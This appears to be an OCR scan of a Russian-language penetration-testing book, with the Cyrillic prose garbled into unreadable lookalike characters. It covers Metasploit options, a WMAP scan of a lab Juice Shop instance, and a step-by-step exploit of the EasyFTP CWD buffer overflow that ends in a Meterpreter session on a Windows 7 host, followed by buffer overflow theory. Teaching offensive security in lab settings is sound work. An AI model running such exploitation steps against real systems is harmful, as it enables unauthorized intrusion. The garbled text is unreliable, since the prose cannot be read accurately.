o LHOST: uctiosb3yercst JIJist yKazaHust XOCTa, KOTOPBIU OyIeT IpUHUMATH 0OpaT-
HOE MOJIKJTIOYEHIE OT 11e1eBOT0 KoMibioTepa. O6brdHo aTo [P-aapec Manmbl, Ha
KOTOPOi1 paboraer Metasploit;

e RPORT: ucnosbsyercst JIsl yKazaHUst IOPTa Ha II€JIEBOM X0OCTe, KOTOPBIH Oy et
UCII0JIb30BATLCA /LIS DKCILIyaTaluu;

e LPORT: ucrionbdyercs A1 yKazaHust OPTa HA JIOKAJTbHOM MalluHe, KOTOPBII
OyIeT IpoCayIInBaTh 06PaTHOE MOAK/IIOUYEHIE OT LEJIEBOr0 KOMIIbIOTEPA;

e PAYLOAD: ucriosp3yercs st ykazanus (pyHKIIMOHATBHON YaCTH KO, KOTOPAast
GyJIET MCTIOMB30BATHCST BMECTE € 9KCTLIoNTOM. DyHKIIMOHATbHAST YaCTh KOJA Mo~
JIE3HOU HATPY3KU MOJKET OBITh IPOCTON (Kak oO6paTHast 000JI0UKa) UIIH CIOKHOI;

o TARGET: ucnosp3yercs 1 yKa3aHusi KOHKPETHOM BepCUU WU BapuaHTa
1[eJIEBOM CUCTEMBI. ITO MOKET OBITh 110JIE3HO, €CJIN DKCILIONT TOIep:KUBaeT
HECKOJIBKO BEPCHIl NI BAPUAHTOB CUCTEMBI.

[Tnarcdopma Metasploit umeeT oueHb aKTHBHOE COOBIIECTBO PaspabOTUMKOB 1 MPaK-
THYECKH €KEJHEBHO B Pa3IMYHBIX CHCTEMaX OOHAPY KUBAIOTCST HOBbBIE YSI3SBUMOCTH.
Yro06bl Beeria UIMETD IOl PYKOU caMble CBEKUE MOJIYJIN U 9KCILIOUTBI, He 3a0bIBaiiTe
peryJsipHo 00HOBJIsATE Metasploit ¢ momoInbio koman bl msfupdate.

Komanja getg ouenb moxoska Ha KOMaHjy get, 3a UCKJIIOUEHUEM TOTO, UTO OHA BO3-
BpalllaeT 3HaYeHKe, CoAeprKalleecs B TII00aIbHON epeMeHHOM.

Komanner set u setg. Komanzga set npucBanbaet HoBoe 3HaYEHIE OJHOI U3 JIO-
kanpubIX epeMenHbIX (RHOST, RPORT, LHOST u LPPORT). Komanza setg
MPUCBAWBAET HOBOE IEPMAHEHTHOE 3HAUEHME TJI0OATBHON ITEPEMEHHOIA.

Komaner unset 1 unsetg. Komanjia unset ouuriaer 3Hauenue, paiee COXpaHeHHOE
B JIOKQJIBHOU IT€EPEMEHHOI ¢ MIOMOIILIO KOMaH bl set. Komana unsetg ouniiaer 3ua-
JyeHue, paHee COXpaHeHHOe B I100aIbHOI IIePeEMEHHOI ¢ TIOMOIIBI0 KOMAH/IbI setg.

[NpakTn4yeckmne npumepsbl

Mbi pacecMOTpes, Kak ToJIb30BaThCsl OT/ebHBIMU YacTsamu Metasploit. [Tpumio
BpeMst coOpaTh Bce BMECTE U TIPOIEMOHCTPUPOBATH FEHEPAIINIO 9KCILIONTA ¢ TOJIe3-
HOU HATrPY3KOI U B3JIOM T1€JIEBOI CUCTEMBI.
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CKaHMpoBaHWe BE6-NPUNOXKEHUN

WMAP — 310 MOIIHBII CKaHEP YA3BUMOCTEN BeG-TIpUIosKeHnH, noctymHbii B Kali
Linux. Ou unrerpuposan B Metasploit Framework B Buze miaruna. B nasane pabo-
ThI HEOOXOMMO YKa3aTh Ha €ro MCIOJIb30BaHUE, Il 9TOIO BHIIOJIHUM CJIELYIONYIO

KOMaHy:

msf6 > load wmap

[WMAP 1.5.1] === et [ ] metasploit.com 2012

[*] Successfully loaded plugin: wmap

Tenepb, KOrga Mbl 3arpysuiu HeobXoAuMbl MOAYJ/b, HaM HEO6XOAMMO YyKasaTb Ha CauT
n URL, KOTOpbIN Mbl XOTWM MPOCKAHUMPOBAThb.

msf6 > wmap_sites -a 192.168.91.128:42000

[*] Site created.

msf6 > wmap_targets -t http://192.168.91.128:42000/#/1login

msf6 > wmap_targets -1

[*] Defined targets

Id Vhost Host Port SSL Path

0 192.168.91.128 192.168.91.128 42000 false /

Mbi 106aBuIM HOBBII caiiT 1 3ajgaiu 1eaesoil URL, ternepb MOKeM 3aIlyCTUTD
ckarmpoBanue. [lockobKY MBI 3alTycKaeM CKaHUPOBaHUE yskKe M3BECTHOTO Juice
Shop, otkirounM cBsi3antbie ¢ SSL TecTbl, OCKOJIBKY B JAHHOM CJIydae Ha I1eJIeBoi
CTpaHUIlE OH HE UCTIOJIb3YETCS:

msf6 > wmap_targets -1
[*] Defined targets

Id Vhost Host Port SSL Path

0 192.168.91.128 192.168.91.128 42000 false /

msf6 > wmap_run -t

[*] Testing target:

[*] Site: 192.168.91.128 (192.168.91.128)
[*] Port: 42000 SSL: false

[*] Testing started. 2023-05-26 11:13:19 -0400
[*] Loading wmap modules...

[*] 39 wmap enabled modules loaded.

[*]

=[

SSL testing ]=
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[*] Target is not SSL. SSL modules disabled.
[*]

=[ Web Server testing ]=

[*] Module auxiliary/scanner/http/http_version

[*] Module auxiliary/scanner/http/open_proxy

[*] Module auxiliary/admin/http/tomcat_administration
[*] Module auxiliary/admin/http/tomcat_utf8_traversal
[*] Module auxiliary/scanner/http/drupal_views_user_enum

HeobxoauMbie MOYJIH 3aTPy3UJIHCh, M MOKHO MPHUCTYIIATh K TECTUPOBAHUIO Ha-
IETo TPIIOKeHNs. Bee pe3ybraThl CKAHNPOBAHIS COXPAHSIOTCS B 6a3e TAHHDBIX
Metasploit, u mpu HeOGXOIMMOCTH MBI CMOKEM TIOJYYUTh K HUM JOCTYII:

6 > wmap_run -e
Using ALL wmap enabled modules.
NO WMAP NODES DEFINED. Executing local modules
Testing target:
Site: 192.168.91.128 (192.168.91.128)
Port: 42000 SSL: false

P

Testing started. 2023-05-26 11:18:23 -0400

SSL testing ]=

[*] Target is not SSL. SSL modules disabled.
[*]

=[ Web Server testing ]=

[*] Module auxiliary/scanner/http/http_version

192.168.91.128:42000

Module auxiliary/scanner/http/open_proxy

Module auxiliary/admin/http/tomcat_administration
Module auxiliary/admin/http/tomcat_utf8_ traversal
Attempting to connect to 192.168.91.128:42000

No File(s) found

ITocne 3aBEPIICHUA CKaHNPOBaHNA TOCMOTPUM Ha PE3yabTaTbl pa6OTbII

msf6 > wmap_vulns -1

[*] + [192.168.91.128] (192.168.91.128): scraper /
scraper Scraper
GET OWASP Juice Shop

+ [192.168.91.128] (192.168.91.128): directory /api/
directory Directory found.
GET Res code: 500

+ [192.168.91.128] (192.168.91.128): directory /ftp/
directory Directory found.

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*] GET Res code: 200
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B3noM FTP-cepBepa

B omHOM 13 IpUMEPOB MBI yiKe Halu ys3suMbiii FTP-cepsep. Tereps BbiOepeM
HY>KHBII 9KCIIIONUT ¥ CKOH(UTYPUPYEM €T0:

msf auxiliary(ftp_login) > use windows/ftp/easyftp_cwd_fixret
msf exploit(easyftp_cwd_fixret) > info

Name: EasyFTP Server CWD Command Stack Buffer Overflow
Module: exploit/windows/ftp/easyftp_cwd_fixret
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-02-16

Provided by:
Paul Makowski <my.hndl@gmail.com>
jduck <jduck@metasploit.com>

Available targets:

Id Name
© Windows Universal - v1.7.0.2
1 Windows Universal - v1.7.0.3
2  Windows Universal - v1.7.0.4
3  Windows Universal - v1.7.0.5
4  Windows Universal - v1.7.0.6
5 Windows Universal - v1.7.0.7
6 Windows Universal - v1.7.0.8
7  Windows Universal - v1.7.0.9
8 Windows Universal - v1.7.0.10
9 Windows Universal - v1.7.0.11
Basic options:
Name Current Setting Required Description
FTPPASS mozilla@example.com no The password for the specified
username
FTPUSER anonymous no The username to authenticate as
RHOST yes The target address
RPORT 21 yes The target port

Payload information:
Space: 450
Avoid: 4 characters

Description:
This module exploits a stack-based buffer overflow in EasyFTP Server
1.7.0.11 and earlier. EasyFTP fails to check input size when parsing
'CWD" commands, which leads to a stack based buffer overflow.
EasyFTP allows anonymous access by default; valid credentials are
typically unnecessary to exploit this vulnerability. After version
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1.7.0.12, this package was renamed "UplusFtp". This exploit utilizes
a small piece of code that I\'ve referred to as 'fixRet'. This code

allows us to inject of payload of ~500 bytes into a 264 byte buffer

by 'fixing' the return address post-exploitation. See references for
more information.

References:
OSVDB (62134)
http://www.securityfocus.com/bid/38262
http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-
return-address-overwrite/
http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-
server-exploit
http://seclists.org/bugtraq/2010/Feb/202

msf exploit(easyftp_cwd_fixret) > set RHOST 192.168.225.1
RHOST => 192.168.225.1

msf exploit(easyftp_cwd_fixret) >

ITpocMOTPUM BapUaHThI LIEJLI-KOLOB U BbIOepeM HY KHBbIIi:

msf exploit(easyftp_cwd_fixret) > show payloads

Compatible Payloads

Name Disclosure Date Rank Description

generic/custom normal
Custom Payload

generic/debug_trap normal
Generic x86 Debug Trap

generic/shell_bind_tcp normal
Generic Command Shell, Bind TCP Inline

generic/shell_reverse_tcp normal
Generic Command Shell, Reverse TCP Inline

generic/tight_loop normal
Generic x86 Tight Loop

windows/dllinject/bind_hidden_ipknock_tcp normal
Reflective DLL Injection, Hidden Bind Ipknock TCP Stager

windows/dllinject/bind_hidden_tcp normal
Reflective DLL Injection, Hidden Bind TCP Stager

windows/dllinject/bind_ipv6_tcp normal

Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)

OrnpeneTMBIIMCH C HATPY3KOH, TPOBEPUM MTapaMeTPhl M TPOIKCILITYaTHPYEM YSI3BU-
MocTb B FTP-cepBepe:

msf exploit(easyftp_cwd_fixret) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(easyftp_cwd_fixret) > show options
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Module options (exploit/windows/ftp/easyftp_cwd_fixret):

Name Current Setting Required Description

FTPPASS mozilla@example.com no The password for the specified
username

FTPUSER anonymous no The username to authenticate as

RHOST 192.168.225.1 yes The target address

RPORT 21 yes The target port

Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted:
thread, process, none)

LPORT 4444 yes The listen port

RHOST 192.168.225.1 no The target address

Exploit target:

Id Name

@ Windows Universal - v1.7.0.2
msf exploit(easyftp_cwd_fixret) > exploit
Started bind handler
192.168.225.1:21 - Prepending fixRet...
192.168.225.1:21 - Adding the payload...

192.168.225.1:21 - Sending exploit buffer...
Sending stage (748032 bytes)

, seh,

[*]
[*]
[*]
[*] 192.168.225.1:21 - Overwriting part of the payload with target address...
[*]
[*]
[*]

Meterpreter session 1 opened (192.168.225.128:4444 -> 192.168.225.1:62853)

meterpreter>sysinfo

Computer: TEST

0S : Windows 7 (Build 7601,Service Pack 1).
Architecture : x86

System Language : en_US

Meterpreter : x86/win32



[lepenonHeHne bydepa

Teopust nepernosnenust 6ydepa 4acTo OMUCHIBAETCS JOCTATOUHO CIIOKHO, C UCTIOJIb-
30BaHueM crelinuyecKoi TEPMUHOJIOTUN U TIPUEMOB, HETIOHATHBIX CIIEIIUAIUCTAM,
He 32/IeCTBOBaHHBIM B poriecce pazpaborku [10. Ho B 3TOI KHKUTE MBI TIOMBITAEMCST
COXPAHUTD GATAHC MESKJLY IPOCTOTOM U3JIOKEHUS U TIIyOUHOI MOTPYsKEHMsI B TAHHBIIA
BOIIPOC.

ITocie sHamenuTON aTaku 4yepsst Pobepra Moppuca (Morris Worm) B 1988 roay
BO3MOKHOCTD Hepernosinenns oydepa «Buffer overflow» npusnaercst ogroi u3 oc-
HOBHbBIX IIPUYUH TIOSIBJIEHNS YSI3BUMOCTEN B IIPOrPAMMaXx U OIIEPAIIUMOHHBIX CUCTEMAX.

Nudopmaniio 06 SKCII0HTAX, HCHOTB3YIONIX YI3BUMOCTD THIIA «TIEPETIOTHEHIe
Gydepar, ceituac MOKHO HAIITH BO BCEX HOBOCTHBIX PACCHUIKAX M MaTepuasiax Beb-
CalTOB, OCBEIAIONTIX TeMy HH(MOPMAIHOHHON Ge30macHoCTH. Tak 4To e 3T0 Takoe?

Marepuansr SANS (SysAdmin, Audit, Network, and Security — Heodurmambtoe
HasBaHue MHcTUTYTa MIepefoBbix TexHomornil Escal, amepukaHckoil KoMMepuecKoii
KOMITaHWH, CIIEIMAIU3UPYIONIeics Ha MH(MOPMAIIMOHHO 6€30MIaCHOCTH ), TIOCBSIIEH-
Hble HAIIPaBJEHHBIM Ha NepenoaHenus Oydepa aTakaM, HAUMHAIOTCS CO CJEAYIOIMX
CJIOB:

Ilepenonnenue 6ygdepa moscem bvims UCROTL30BANO 0TSl GbINOIHEHUS CMOPOHHE20
K00a Ha Komnvlomepe Jeepmebvl, a nNOIMoOMY OHO OIICHO OMHOCUMBCS K YA3GUMO-
cmsam ¢ vicokum puckom. Kaxcowuii mecsy, o6rapyscusaemces docmamouno 60.1vuloe
KOJIUUECBO YAZBUMOCTET, CEA3ANIBIX ¢ nepenonenuem oygdepa.

A Bot xak otHOCUTCs K 9T0i mpobieme CERT (Computer Emergency Response
Team, KomnpioTepHast TpyTima pearnpoBaHus Ha YPe3BbIUYaiTHbIe CUTYAITN )

Hecmompsi Ha uzsecmuvie pucki, Komopwle ObLiU OMKPbIMbL Yice 00CMaAmMoOUHO
dasio, nepenomenue Oypepa na cez00HAUHUTL OeHb OCMACMCS OCHOBHOU NPUUUHOLL
63/10MOG.

XOTs MHOTHE CIIETMATICTBI HACJBINITAHDL O TTepernoHeHnn Gydepa  TeMa 9Ta 0cTaer-
Cs1 OUEHb MOMYJISIPHON ¥ IIUPOKO OCBEIIEHHOI, B HEll HE TaK-TO TIPOCTO Pa3odpaThCs.
ITpumepb! 1 onMcanust, KOTOpPble MOKHO HaiiTh B [106aibHOil ceTr, TpedYIOT [JIs 110~
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HUMaHMsI XOPOIITX HABBIKOB IIporpaMmupoBatus Ha C, 3SHAKOMCTBA ¢ acceMOJIepoM
U OITBITA MCTIOJIB30BaHUsT OTAaAYUKOB. C APYTOH CTOPOHDI, HEKOTOPbIE CTATHU OTIU-
CHIBAIOT METOJIMKY TiepenoaHerus 6ydepa, (GoKycupysich JIUIIb HAa TEOPETHIECCKOM,
abCTPaKTHOM yPOBHE.,

B nanHO¥ r1aBe Mbl pacCCMOTPHUM HECKOJBKO OCHOBHBIX MTPUEMOB TEPETIOTHEHUS
6ydepa, HO HEKOTOPHIE TEXHUYECKUE JIETATH OTUIIEM JOCTATOYHO TIOBEPXHOCTHO,
mpejIarasi YuTaTesio YIpoueHHYI0 Mo/IesIb. 3a OCHOBY ITPU OITUCAHUM T€XHOJIOTUI
Bo3bMeM s3bIK TiporpammupoBanus C, OC Linux u apxutektypy X86, KoTopas 1u-
poko npuMmensetcs B mpoitieccopax cemelictBa INTEL u AMD. Ha camom nesie Bee
npyrue apxuTekTypsl 1 OC TaksKe TOABEPKEHBI HATTPABJIEHHBIM Ha TIePETIOJHEHTE
6ydepa aTakam, HO B KaKIOM CIydae OYAYT CBOM OCOOEHHOCTH.

YT0 Takoe nepenosiHeHne bydepa?

OcHoBHas 11eJ1b JII060iT TIPOTrPaMMbI, KOTOPast 3amylileHa Ha KOMITbIOTepe, — 00-
paboTKa Kakux-a100 JaHHBIX. MHOTHE TPOrpaMMbl PabOTarOT HE CO CTaHAAPTHBIM,
3aJJaHHBIM HAOOPOM JIAHHBIX, a ¢ TON uH(opMaIueii, KoTopas Oblaa MPeLoCcTaBIeHa
nosibzoBaresieM. [Iporpamve HEOOXOMMO XPaHUTh OOpabaTbiBacMble TaHHbIE B T1a-
MSITH KOMITBIOTEPA, U UIMEHHO C 3TOTO ¥ HAYMHAIOTCST Bee pobsieMbl. MHorme 1po-
IPaMMUCTBI CYUTAIOT, UTO MOJH30BATENb Oy/IeT BBOAUTH UMEHHO Ty WH(MOPMAIHUIO,
KOTOPYIO O3KU/IA€T MTPOrPAMMa, U TOJILKO ee. ITO MPE/IOJI0KEHIe OTHOCUTCS K THUITY
JAHHBIX ¥ UX pa3Mepy, B KAUecTBe MpUMepa MOKHO TIPUBECTU CTPOKOBBIE JTAHHDIE.
Cuurag, 4To ajipec BeO-CTPaHUIIBI He MOKET ObITh JtnHHee 500 CHMBOJIOB, IS aH-
HOTO TUIA JaHHbIX BbizIesstioT 0T 50 10 250 crMBos10B. HO HEKOTOPBIE IIPOrPAMMUCTBI
JUIst TaHHOW nHMOpMAIUU pe3epBUPYIOT 00s1acTb pasmepoM 10 5000 cuMBOJIOB. DTOT
06beM 3ape3epBUPOBAHHOI TTAMSTH U HA3bIBAIOT Oy(hepoMm.

IToka Bce BhITIAAUT TIPocTo. Terepp nepeiigeM Kk 6oiee HHTEPECHOMY: OYeT JI Po-
BEPATHCS BeJMYNHA BBEIEHHON TTOTh30BaTesieM HHpopMauu? JloBepruMcst JIi MbI
6e30rOBOPOYHO MOJIB30BATENIO U GYIEM CUUTATD, YTO OH HUKOT/IA HE BBEIET OOJIbIITe
5000 cMBOJIOB, MJIM HAIIIA [IPOrPaMMa Bee JKe OYIeT IPOBEPSTH BBEIECHHYIO CTPOKY
HA CJIy4ail BBIXO/IA 32 PAMKHU BbIIEJIEHHOI TTAMSITU, €CJIU KTO-TO TIOTIBITAETCS] BBECTH
6ospiire 5000 cuMBOTOB?

Bo MHOTHX citydasix aTa ImpoBepKa He BBITTOJHSAETCS. ITO CBSI3aHO C HEJOCTaTKOM KBa-
JUKAIK IIPOrPAMMICTAa, €0 JIEHBIO WIIN APYTUME (haKTOpPaMK — IIPOrpamMMa IIpo-
¢TO pabOTaeT ¢ TEMU JAHHBIME, KOTOPbIE IPEI0CTABILI II0JIb30BaTe b, TAK UTO JKe IIpo-
nsoiizeT, ecau KTo-1o BBemeT 5400 cmBosoB? IlepBhie, oxxumaembie, 5000 cMBOJIOB
GyJLyT MOMEIIEHBI B 3apaHee BBIACTCHHY0 00IaCThb TTAMSITH, a ocTasibHble 400 CHMBOJIOB
OyIyT TIOMeIIeHbI B 00JIaCTh TTAMSITH, KOTOPask HAXOAUTCS 32 PAMKaMU 3aPE3ePBUPO-
BaHHOrO Oydepa, 4To, COOCTBEHHO ¥ ABJISIETCS IIPUMEPOM €I0 IePEOJTHEHHSL.

HeobxoauM0 yunuThiBaTh, 4TO JII060I BBOJ MH(MOPMAIUH T10JIb30BaTEleM J0JIKEH
MIPOBEPSITHCS, THAUE OH MOKET ObITh IPUUUHON mepenoyHenus Oydepa. Mubopma-
ST BKJTIOYAeT B cebst:
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1) mawHbBIE, BBOAMMbBIE B TEKCTOBBIE TIOJIS;

2) ceteBble JaHHBIE, TOTyYaeMble TTPOTPAMMON;

3) manHble u3 (aisios;

4) nmaHHbIe, KOTOPBIE TIePeIaloTCs KakK apaMeTp U3 KOMaH/IHOM CTPOKH;

5) maHHble, MOTy9IaeMble OT TI06ATBHEIX iepeMeHHbIX (% TMP% B Windows $TMP
B Linux);

U MHOTOE JIpyToe.

ITyuxTor 1, 2 ¥ 3 MOTYT MPUBECTH K YAATEHHOMY TepenonHeHnio 6ydepa, Torna Kak
OCTaJIbHbIE BOSIIGfICTByIOT JIOKAJIbHO.

B 3aBucuMocTH OT Pa3iudHbIX (PaKTOPOB — BBHIOPAHHOTO MPOTPAMMHUCTOM METOJIa
pe3epBUPOBAHMS ITAMSITH, TUIIA BHYTPEHHEH OpraHusaiiy naMsaTi KOMIIbIoTepa —
nepenosHerye 6ydepa MOKET TPUBECTH K CIIELYIONINM TIOCTECTBUSM:

® HelpaBWJIbHBIN pe3yJibraT paboThl IIPOrPaMMbI M3-3a MCKasKeHUsI ee JanHbix. Ha-
npuMep, Ipu pabote BeO-cepBepa B cydae yIauHOil aTaky [0JIb30BATEb IIOLYYUT
He 3alpaliBaeMble JaHHble, a onoKy 404;

® HEKOPPEKTHOE 3aBepIlieHne TPOTPAMMBI U3-32 TIOBPEXKIEHUS CETMEHTOB, KOHTPO-
JIIPYIOIIUX €€ UCTIOJMHeHNe. 3aBepliieHue ¢ OmmOKON «access segment violations
B Linux min «general protection fault> B Windows ykasbiBaer Ha TO, 4TO IIpO-
rpaMMa TbITAETCS TIOJYIUTD JOCTYII K IAHHBIM, KOTOPbIE HAXO/ISATCS 32 MpeieJiaMu
BBIJIEJICHHOI J1JIs1 Hee 06J1acTH TTaMsITH;

® HekoppekTHOoe 3aBepineHue pabotsl OC, eciii B TiepenonHeHne OB BOBJICUCHBI
CTPYKTYPbI, KOTOPbIE KOHTPOJIUPYIOT ee paboTy;

® JIoJIydenue aTaKyiomuM BO3MOKHOCTH BbIIIOJIHUTD CBOU KO/l Ha MalllnHe KepT-
Bbl — CaMO€ CEPbE3HOE T1I0CJIE/ICTBUE.

Bot noyemy niepenostenvie 6ydepa Tak omacHo.

YT00bI ITOHATD, KaK ITPOUCXO/IUT aTaKa B ITOCJIE/IHEM CJIydae, paCCMOTPUM HEKOTOPbIE
OCHOBbBI CTPOECHUA ITaMATHU U IIPOI'PAMM.

MporpamMMbl, 6U6NMMOTEKN N BUHAPHbBIE (hannbl

JIrobast mporpamma Jiuist 06pabGOTKU JIAHHBIX UCIIOJIb3YET PA3JIMYHbIE TIePEeMEHHBIE,
KOHCTaHTBI ¥ HAOOP BCEBO3MOKHBIX MHCTPYKIMH. OGBIYHO HHCTPYKITUN CTPYIITIH-
POBaHBI B TaK HasbiBaeMble MOy (i pyHKIMH, ecir OpaTh 1361k C). K cuactbio,
MHOTHEe PYTUHHBIE 33/[a4U He TIPUXOAUTCS IPOrPAMMUPOBATH OTIEIbHO, OHU YiKe
JOCTYTIHBI B BU/Ie (DYHKIMH B IOAKTIOUaeMbIx 6ubsmorekax. lanubie 6ubamnorexn,
HCITIOIb3YEMBIE JIJIST BBITIOJTHEHUST PYTUHHBIX 3a/1a4, MOTYT ObITh moaydenst ot OC
WJTH U3 IPYTUX UCTOUHUKOB.

Il mpeoGpasoBaHus HalMCAHHBIX Ha s3biKe C MHCTPYKIUI B MAITUHHBIA KOJI
MCTIOJIh3YeTCs crennaabHast mporpaMma — koMmmuasatop. Ha Beixoze oH BbiiaeT
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(bafin, comepamuii COCTOSAIINE U3 MOCTEAOBATENHLHOCTH OUTOB WHCTPYKITHH, KO-
TOPBIE BBITIOJHSIET IPOIIECCOP JJIS PEIIeHUS 3aJI05KEHHON ITPOrPAMMUCTOM 3a/IaUH.
[Tpu momoru OTIAAYNKA MOKHO KOHBEPTHPOBATH MAIIMHHBINA KO/ B TIOHSITHBIN
4eJI0OBEKY, TPECTABICHHbII ¢ MOMOIIBIO s3bika Accembuep. /Ipyrast mporpamma,
KoTopast HasbiBaeTcst unkepom (linker) u Bo MHOTHX carydasix yiKe BKIOUEHA
B KOMITUJISITOP, UCTIOJIB3YETCS JIJII MHTETPUPOBAHUS BCEX YacTel MTPOTPAMMBI,
HaIpUMepP CTOPOHHUX OUGINOTEK U GYHKIINIA, B OHO eanHOe 1ieoe. Daiir, KoTo-
PBIi TOJTyYaeTcst B pesyJibraTe paboThl IPOTPAMMECTA, KOMITUJISITOPA M JIMHKEPA,
Ha3bIBaeTCs GUHAPHBIM.

Korma monmb3oBaTesb 3aycKaeT MporpamMmy, ee NCToJHEeHNEe HAYNHAETCS ¢ TIepBOit
CTPOKH, UTO SBJISETCS IKBUBAJIEHTOM TIEPBOI CTPOKU MTPOrPaMMbl, HATMCAHHOW Ha
a3bike C, a mMeHHO dyHKIMK main(). B HeTpUBUaIbHO HAMMCAHHBIX MTPOTPaMMax
ynkimms main() MOKeT BBI3BIBATH JAPYTYI0 (PyHKIIUIO, KOTOpPas MOKET BbI3BATh
TPETHIO, U T. JI. 3aBEPIIEHNE TPOrPAMMBI IPOUCXOUT MIPU BbI3oBe (hyHKIMeir main()
bynkimmm exit() wam Torza, Kora moJib30BaTesb caM MPEKPATUT €€ BBITTOJIHEHNE.

Yrposbl

Bunapublii ¢aiis UCIOMHIETCS B ONPeJIeIEHHOM KOHTEKCTE, KOTOPbIi OIpejiesiseT
YPOBeHb IIpUBUJIETUi IIpoliecca UK I10Jb30BaTe i, 3allyCKalolero Jannylo 1I1po-
rpammy. Tur u onvicanme MpuBUJIeTnii Bo MHOTOM 3aBucAT oT OC u koHbuTypamn
KoMIIbioTepa. CaMbIil TPOCTON IpUMep TPUBUJIETHI — 3TO MPABO YUTATh W NCITPAB-
JATh cojiepkumoe (daiiia, co3zaBaTh ceTeBble COeJIMHEHUS Ha OT/IEIbHBIX IIOPTaX,
3aBepiath paboTy MPOrPaMMBI MK KOMITbIoTepa. OGBIYHO KOHTEKCT BBITIOJHEHVST
MPOrpaMMbl HATTPSAMYIO 3aBUCUT OT IMPaB MOJIb30BATENA. JTO 03HAYAET, UTO MTPO-
rpamma OyjieT IMeTh BO3MOKHOCTD BBIMTOJTHUTH TOJBKO T€ IeHCTBUS, KOTOPbHIE
MOJIB30BATEIb MOT OBl BBITTOJHKUTE CaM, BPYYHYIO. V1 9TO HE 3aBUCUT OT TOTO, KAKUE
UHCTPYKIIK OBIIH 3aJI05KEHBI TIPOIPAMMECTOM.

Hexkotopbim mporpaMmam He0GXOAUMO GOJIbITE TPUBUIETHHN /ISt BHITOJTHEHUST CBOUX
3as1a4. Hanpumep, mporpamMme, KOTopas 103BOJISIET MEHSTh 1I0JIb30BATEI0 CBOM T1a-
POJIb, HY?KHO NIMETh BO3MOKHOCTD UCTIPABJISATE coziepskimMoe (aiiia OC, comepsrariero
urdopMaIuo o mojb3osaressx. B Unix-mogo6HbIX CHCTEMAX IS BBITTOTHEHS 10100~
HBIX 33714 TPELYCMOTPEH Suid, YTo O3BOJIAET TIPOTPAMME BBITIOHSITHCST C 3aIAHHBIM
HaGOPOM MTPUBHUJIETHI, KOTOPBIiT MOKET OTJIMYATCS OT TIPUBUIIETUI BBI3BABIIETO HTY
IIPOrpaMMy 1oJib30BaTest. Takue hailyibl SIBJISTIOTCST XOPOIIEH TIeJIbIO JIJIs ATAKYIOIIETO.
Ha komIibrotepax ecTb U IPOrpaMMBbl € PACIIMPEHHBIMU TPUBUJIETUSME, KOTOPbIE 3aITy-
ckatorcst B MomeHT ctapta OC: B Windows 310 cepsuchr, a B Unix — Tak Ha3biBaeMble
JieMoHbL. Hasmmume pacimmpeHHbIX TIPUBUIIETHH 1 IOCTYITHOCTD (CTAaHIaPTHBIE IEMOHBI
1 CEPBUCDHI BCET/IA IIPUCYTCTBYIOT Ha KOMIIBIOTEPE JKEPTBbI 1 BCET/Ia 3aILyIIEHbI ) Ie/Ial0T
UX OCHOBHOM U caMOii y0OHOM 1eJIbIO AJIs aTaKyIOIIEro.

Wrtak, 0cHOBHOI 11€JIbI0 aTaKyIOLIero ABJIAeTCs UCII0JIb30BaHue BO3MOKHOCTH LIepe-
noJiHeHus Gydepa mporpaMMbl, 00TaIat0MIe TIOBBIIIEHHBIMU TPUBUJICTSIMHU, JIIsI
BBIITOJTHEHMS CBOETO KOJIa Ha MallIMHe KEPTBBI.
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OCHOBbI KOMMbIOTEPHOW apXUTEKTYPbI

[To xmaccuueckoit Mogesn ¢hon Helimana, KOMIIBIOTEP COCTOUT U3:

® apudMeTUKO-JIornyeckoro ycrpoiictsa (AJIY), Kotopoe saHnMaeTcst 00paboTKOM
JTAHHbBIX;

® TTaMsTH, KaK/Iast staeiika KOTOPOI MPOHyMepOBaHa, a HyMepanus HaunHaeTcst ¢ ()
(MOKHO pa3/Ie;TUTh ee Ha SHEPTO3aBUCUMYIO — OIePATUBHAS TAMSITh U 9HEProHe-
3aBUCUMYIO — KECTKWUH JINUCK);

® yCTPOICTBa yIpaBJeHUS;

® yCTPOICTB BBOJIA U BbIBOZIA (KJIABUATYPA, CETeBON MHTepdeiic, IPUHTEP U T. 11.).

AJTY (CPU, Central Processing Unit) 06bI4HO Has3bIBatOT IPOIIECCOPOM, OHO COEP-
JKUT HAOOP PETHCTPOB, KOTOPbIE TIPEAHASHAYEHDI TSI MAHUTTYJISAIAN C TAHHBIME U UX
obpaborku. Kaxapiii peructp nmeer ykasateab uHcTpykuuu (Instruction Pointer,
IP), oH HEOGXOMM JIJIST OTCJICKUBAHUS BBIMOJIHEHMSI MHCTPYKITUI TIPOTPAMMOI 1 CO-
JEPKUT AJIPEC CIEAYIOIIEH NHCTPYKIIUK, KOTOPYIO Oy/eT He0OXO0AUMO BBIIIOJTHUTb.
YKkaszaTesb — 3aI1Ch, COlepKaIas a[pec CerMEHTA MaMsTH.

Hawumenbinee kommyectBo UH(GOPMAILMH, KOTOPOE KOMIIBIOTEP MOKET 00padoTaTh,
ectb 6ut. Ho pabora ¢ 6uramu ne apaserca apdexTusHoi. [ onTuMusanuy pa-
GOTHI KOMIThIOTEPA ObIJT paspaboTaH THUIT JAHHBIX, Ha3bIBaeMbIX ¢JIoBoM (word). B Ha-
crostiee BpeMst CI0BO UMeeT pazmep B 32 6uta, a mporeccop, yMeoIuii paborats co
CJIOBOM, pasMep KoToporo 64 Guta, 6b1 n300peTeH ette B ganekoM 1993 ropuy.

OpraHuzauus naMsaTn

ITocJie TOro kKak K mnporpamme ObLIN HOAKIIOYEHbl He0OX0AUMble OGUOJINOTEKN, OHA
CKOMITMJIMPOBAHA ¥ 3allylleHa, BCe ee KOMIIOHEHThI PasMeIaloTCsl B PasIMuHbIX
cerMeHTax namsitu komibiotepa (puc. 15.1).

O6acTi maMATH s IPOTPaMM, HaIIMCAHHBIX Ha A3bIKe C, BBITJISAAT CJIELYIOITIM
00pasom.

1. TekcToBbIii CErMEHT.

TexcTOBBIN CerMeHT, KOJIOBBII CEIMEHT, HJIN ITPOCTO TEKCT, — O/iHa U3 YacTel 1mpo-
rPaMMBbI B TTaMsITH KOMITbIoTepa. Coep:KuT Habop UCIOMHSIEMbIX UHCTPYKITHIL.
